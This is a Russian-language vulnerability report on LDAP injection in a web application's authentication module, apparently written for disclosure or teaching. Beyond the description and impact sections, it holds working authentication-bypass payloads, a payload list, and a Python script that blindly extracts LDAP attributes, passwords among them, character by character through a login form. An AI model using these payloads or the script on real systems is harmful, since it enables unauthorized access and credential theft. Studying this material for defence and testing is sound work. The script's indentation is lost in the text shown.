LDAP-инъекция

Краткое содержание:
Эта уязвимость может привести к утечке данных, несанкционированному доступу и другим серьезным проблемам безопасности. Чтобы защитить пользовательские данные и целостность системы, мы настоятельно рекомендуем немедленно обратить внимание на эту проблему и решить ее.
Сведения об уязвимости:
Внедрение LDAP (облегченного протокола доступа к каталогам) — это метод внедрения кода, который происходит, когда ненадежный пользовательский ввод напрямую включается в запрос LDAP без надлежащей очистки или проверки.
Целевое приложение не смогло должным образом проверить введенные пользователем данные, что привело к потенциальной уязвимости внедрения LDAP.
Злоумышленник может использовать эту уязвимость для изменения запросов LDAP, уклонения от проверки подлинности, получения несанкционированного доступа к конфиденциальным данным или совершения вредоносных действий.
Затронутый компонент:
Уязвимость внедрения LDAP затрагивает модуль аутентификации веб-приложения, в частности код, отвечающий за обработку учетных данных пользователя и аутентификацию на сервере LDAP.
Действия по воспроизведению:
- Определите поле в приложении, которое взаимодействует с запросами LDAP.
- Создайте вредоносный ввод, содержащий метасимволы LDAP, такие как круглые скобки, звездочки или обратную косую черту.
- Отправьте ввод и наблюдайте за ответом от приложения.
- Обратите внимание на любое неожиданное поведение, сообщения об ошибках или необычное извлечение данных.
- Приложение позволяет пользователю войти в систему, используя свое имя пользователя и пароль.
- Приложение создает запрос LDAP, используя предоставленное имя пользователя без надлежащей проверки ввода.
- Злоумышленник вводит в поле имени пользователя следующий ввод: «)(cn=))(|(uid=))(|(objectClass=*»
- Результирующий запрос LDAP становится следующим: «(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[предоставленный пароль])»
- Злоумышленник получает несанкционированный доступ и потенциально получает конфиденциальную информацию или выполняет другие вредоносные действия.
user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Объекты LDAP по умолчанию предоставляют различные свойства, которые можно использовать для сохранения данных. Вы можете попытаться взломать их все, чтобы получить эту информацию. Здесь приведен список атрибутов LDAP по умолчанию.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
Влияние:
Злоумышленник может использовать эту уязвимость, чтобы изменить формат запроса LDAP и выполнить любые команды LDAP, которые ему нравятся.
Последствия могут включать несанкционированный доступ к личным данным, манипулирование данными или даже удаленное выполнение кода, в зависимости от прав, закрепленных за учетной записью службы LDAP.
Безопасность и конфиденциальность целевого приложения могут оказаться под серьезной угрозой, если эта уязвимость будет эффективно использована.
Твиттер